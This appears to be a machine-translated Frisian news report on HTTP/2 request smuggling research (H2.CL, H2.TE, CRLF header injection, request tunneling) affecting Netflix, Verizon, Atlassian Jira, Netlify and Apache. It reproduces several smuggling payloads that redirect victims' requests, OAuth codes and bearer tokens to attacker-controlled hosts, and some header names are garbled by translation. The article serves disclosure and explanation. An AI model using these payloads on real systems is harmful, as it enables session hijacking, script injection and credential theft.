Websystemen wêryn't de frontend ferbiningen akseptearret fia HTTP/2 en oerstjoert nei de efterkant fia HTTP/1.1 binne bleatsteld oan in nije fariant fan 'e HTTP Request Smuggling-oanfal, wêrtroch't, troch spesjaal ûntworpen kliïntoanfragen te ferstjoeren, yn 'e ynhâld te wigjen fan oanfragen fan oare brûkers ferwurke yn deselde stream tusken frontend en backend. De oanfal kin brûkt wurde om kweade JavaScript-koade yn te foegjen yn in sesje mei in legitime side, tagongskontrôlesystemen te omgean en autentikaasjeparameters te ûnderskeppen.
It probleem beynfloedet webproxies, loadbalancers, webversnellers, ynhâldleveringssystemen en oare konfiguraasjes wêryn oanfragen wurde omlaat neffens it front-end-backend-skema. De skriuwer fan 'e stúdzje toande de mooglikheid om systemen oan te fallen op Netflix, Verizon, Bitbucket, Netlify CDN en Atlassian, en krige $ 56 yn kwetsberensbounty-programma's. It probleem is ek befêstige yn F5 Networks-produkten. Foar in part beynfloedet it probleem mod_proxy yn 'e Apache http-tsjinner (CVE-2021-33193), in fix wurdt ferwachte yn ferzje 2.4.49 (de ûntwikkelders waarden begjin maaie op 'e hichte brocht fan it probleem en krigen 3 moannen om it te reparearjen). Yn nginx waard de mooglikheid om de kopteksten "Ynhâld-Length" en "Transfer-Encoding" tagelyk op te jaan yn 'e lêste release (1.21.1). Oanfal-ark binne al tafoege oan 'e Burp-ark en binne beskikber as in Turbo Intruder-útwreiding.
It prinsipe fan wurking fan 'e nije metoade fan wedging oanfragen yn ferkear is fergelykber mei de kwetsberens identifisearre troch deselde ûndersiker twa jier lyn, mar beheind ta frontends dy't akseptearje fersiken fia HTTP / 1.1. Tink derom dat yn it frontend-backend-skema kliïntoanfragen wurde ûntfongen troch in ekstra knooppunt - de frontend, dy't in lange libbene TCP-ferbining fêststelt mei de backend dy't fersiken direkt ferwurket. Troch dizze mienskiplike ferbining wurde meastentiids fersiken fan ferskate brûkers oerbrocht, dy't de keatling ien nei de oare folgje, skieden troch middel fan it HTTP-protokol.
De klassike "HTTP Request Smuggling" oanfal wie basearre op it feit dat frontends en backends ynterpretearje it gebrûk fan de HTTP-headers "Content-Length" (bepaalt de totale grutte fan de gegevens yn it fersyk) en "Transfer-Encoding: chunked" ( kinne gegevens oerdrage yn dielen) oars. Bygelyks, as it frontend allinich "Ynhâld-Length" stipet, mar "Transfer-Encoding: chunked" negeart, dan kin in oanfaller in fersyk stjoere dat beide de "Content-Length" en "Transfer-Encoding: chunked" kopteksten befettet, mar de grutte is "Ynhâld-Length" komt net oerien mei de grutte fan 'e chunked ketting. Yn dit gefal sil de frontend it fersyk ferwurkje en trochferwize neffens de "Ynhâld-Length", en de efterkant sil wachtsje op it blok om te foltôgjen basearre op "Transfer-Encoding: chunked" en de oerbleaune sturt fan it fersyk fan 'e oanfaller sil wêze oan it begjin fan 'e bûtenlânske fersyk oerdroegen folgjende.
Oars as it tekstprotokol HTTP/1.1, dat wurdt parseard op it linenivo, is HTTP/2 in binêre protokol en manipulearret gegevensblokken fan in foarbepaalde grutte. HTTP/2 brûkt lykwols pseudo-headers dy't oerienkomme mei reguliere HTTP-headers. By ynteraksje mei de backend fia HTTP/1.1, fertaalt de frontend dizze pseudo-headers yn ferlykbere HTTP/1.1 HTTP-headers. It probleem is dat de efterkant besluten makket oer it parsearjen fan de stream basearre op de HTTP-headers ynsteld troch de frontend, sûnder de parameters fan it orizjinele fersyk te witten.
Ynklusyf yn 'e foarm fan pseudo-headers kinne de wearden "ynhâld-lingte" en "oerdracht-kodearring" wurde oerdroegen, nettsjinsteande it feit dat se net brûkt wurde yn HTTP / 2, om't de grutte fan alle gegevens wurdt bepaald yn in apart fjild. Yn it proses fan it konvertearjen fan in HTTP/2-fersyk nei HTTP/1.1 wurde dizze kopteksten lykwols oerdroegen en kinne de efterkant betize. D'r binne twa haadoanfalopsjes: H2.TE en H2.CL, wêrby't de efterkant wurdt misleid troch in ferkearde oerdracht-kodearring of ynhâld-lingte wearde dy't net oerienkomt mei de echte grutte fan it fersyk lichem ûntfongen troch de frontend fia de HTTP / 2 protokol.
As foarbyld fan in H2.CL-oanfal is de pseudo-header fan ynhâld-lingte misfoarme by it ferstjoeren fan in HTTP/2-fersyk nei Netflix. Dit fersyk resulteart yn de tafoeging fan in ferlykbere Content-Length HTTP-header by tagong ta de backend fia HTTP/1.1, mar om't de grutte yn Content-Length minder is dan de werklike grutte, wurde guon fan 'e gegevens yn' e sturt ferwurke as it begjin fan it folgjende fersyk.
Bygelyks, in HTTP/2-fersyk: metoade POST: paad / n: autoriteit www.netflix.com ynhâld-lingte 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Sil in fersyk stjoere nei de efterkant: POST /n HTTP/1.1 Host: www.netflix.com Ynhâld-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Sûnt de ynhâld-Length is ynsteld op 4, sil de backend allinich "abcd" akseptearje as it fersyklichem, en de rest fan 'e "GET /n HTTP/1.1 ..." ferwurkje as it begjin fan it folgjende fersyk bûn oan in oare brûker. Dêrtroch sil de stream net syngronisearje, en yn antwurd op it folgjende fersyk sil it resultaat fan it ferwurkjen fan it falske fersyk weromjûn wurde. Yn it gefal fan Netflix resultearre it opjaan fan in host fan tredden yn 'e koptekst "Host:" yn in spoofed fersyk yn it antwurd "Lokaasje: https://02.rs?x.netflix.com/n" oan de kliïnt en tastien arbitrêre ynhâld wurde trochjûn oan de klant, ynklusyf útfiere jo JavaScript-koade yn de kontekst fan de Netflix side.
De twadde fariant fan 'e oanfal (H2.TE) is ferbûn mei de ferfanging fan' e koptekst "Transfer-Encoding: chunked". It gebrûk fan 'e oerdracht-kodearjende pseudo-header yn HTTP/2 is ferbean troch de spesifikaasje en oanfragen dêrmei wurde foarskreaun om as ferkeard te behanneljen. Nettsjinsteande dit negearje guon frontend-ymplemintaasjes dizze eask en tastean it gebrûk fan de oerdracht-kodearjende pseudo-header yn HTTP/2, dy't oerset nei in ferlykbere HTTP-header. As de koptekst "Transfer-Encoding" oanwêzich is, kin de efterkant it as prioriteit nimme en de gegevens yn dielen parse yn 'e "chunked" modus mei blokken fan ferskate grutte yn it formaat "{grutte}\r\n{blok} \r\n{grutte} \r\n{blok}\r\n0" nettsjinsteande de earste divyzje troch algemiene grutte.
De oanwêzigens fan sa'n gat waard oantoand troch it foarbyld fan Verizon. It probleem gie lykwols oer it autentikaasjeportaal en it ynhâldbehearsysteem, dat ek brûkt wurdt troch siden lykas Huffington Post en Engadget. Bygelyks, in klantfersyk oer HTTP/2::metoade POST:paad /identitfy/XUI:autority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Feroarsake HTTP/1.1-fersyk nei backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Ynhâld-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Ynhâld- Length :10x=
De efterkant negearre op syn beurt de koptekst "Ynhâld-Length" en die de splitsing yn 'e stream basearre op "Transfer-Encoding: chunked". Yn 'e praktyk makke de oanfal it mooglik om brûkersoanfragen nei jo side troch te lieden, ynklusyf ûnderskepping fan oanfragen yn ferbân mei OAuth-ferifikaasje, wêrfan de parameters ferskynden yn' e Referer-header, en ek it simulearjen fan in autentikaasje-sesje en it inisjearjen fan it ferstjoeren fan bewiisbrieven troch de brûker systeem nei de host fan 'e oanfaller. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Autorisaasje: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6…
Om HTTP/2-ymplemintaasjes oan te fallen dy't it opjaan fan 'e oerdracht-kodearjende pseudo-header net tastean, is in oare metoade foarsteld dy't it ferfangen fan 'e "Transfer-Encoding"-koptekst omfettet troch it te heakjen oan oare pseudo-headers skieden troch in newline-karakter (as omsetten) nei HTTP/1.1 yn dit gefal wurde twa aparte HTTP-headers oanmakke).
Bygelyks, Atlassian Jira en Netlify CDN (brûkt om de Mozilla-startside yn Firefox te tsjinjen) waarden beynfloede troch dit probleem. Spesifyk, it HTTP/2-fersyk :method POST :path / :authority start.mozilla.org foo b\r\n oerdrachtkodearring: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Ynhâld-Length: 5\r\n \r\nx=
feroarsake in HTTP/1.1 POST / HTTP/1.1-fersyk om te stjoeren nei de efterkant\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Ynhâld- Length: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Ynhâld-Length: 5\r\n \ r\nx=
In oare opsje foar it ferfangen fan de koptekst "Transfer-Encoding" wie om it te heakjen oan de namme fan in oare pseudo-header of oan in tekenrige mei in fersykmetoade. Bygelyks, by tagong ta Atlassian Jira resultearre de namme fan 'e pseudo-header "foo: bar\r\ntransfer-encoding" mei de wearde "chunked" yn de tafoeging fan de HTTP-headers "foo: bar" en "transfer-encoding" : chunked", en spesifisearje yn pseudo-header ":method" fan de wearde "GET / HTTP/1.1\r\nOerdracht-kodearring: chunked" waard oerset yn "GET / HTTP/1.1\r\ntransfer-kodearring: chunked" .
De ûndersiker dy't it probleem identifisearre hat ek in fersyk tunneling-technyk foarsteld om de frontends oan te fallen, wêrby't in aparte ferbining mei de backend foar elk IP-adres fêststeld wurdt en it ferkear fan ferskate brûkers net mingd wurdt. De foarstelde technyk lit jo net yngripe yn oanfragen fan oare brûkers, mar it makket it mooglik om de dielde cache te fergiftigjen, dy't ynfloed hat op de ferwurking fan oare oanfragen, en kinne jo ferfanging fan ynterne HTTP-headers útfiere dy't brûkt wurde om tsjinstynformaasje oer te bringen fan de frontend nei de efterkant (bygelyks, by autentikaasje op 'e frontend kant yn sokke kopteksten kinne stjoere ynformaasje oer de hjoeddeiske brûker nei de efterkant). As foarbyld fan it tapassen fan de metoade yn 'e praktyk, mei help fan cache fergiftiging, wie it mooglik om kontrôle te krijen oer de siden yn' e Bitbucket-tsjinst.
Boarne: opennet.ru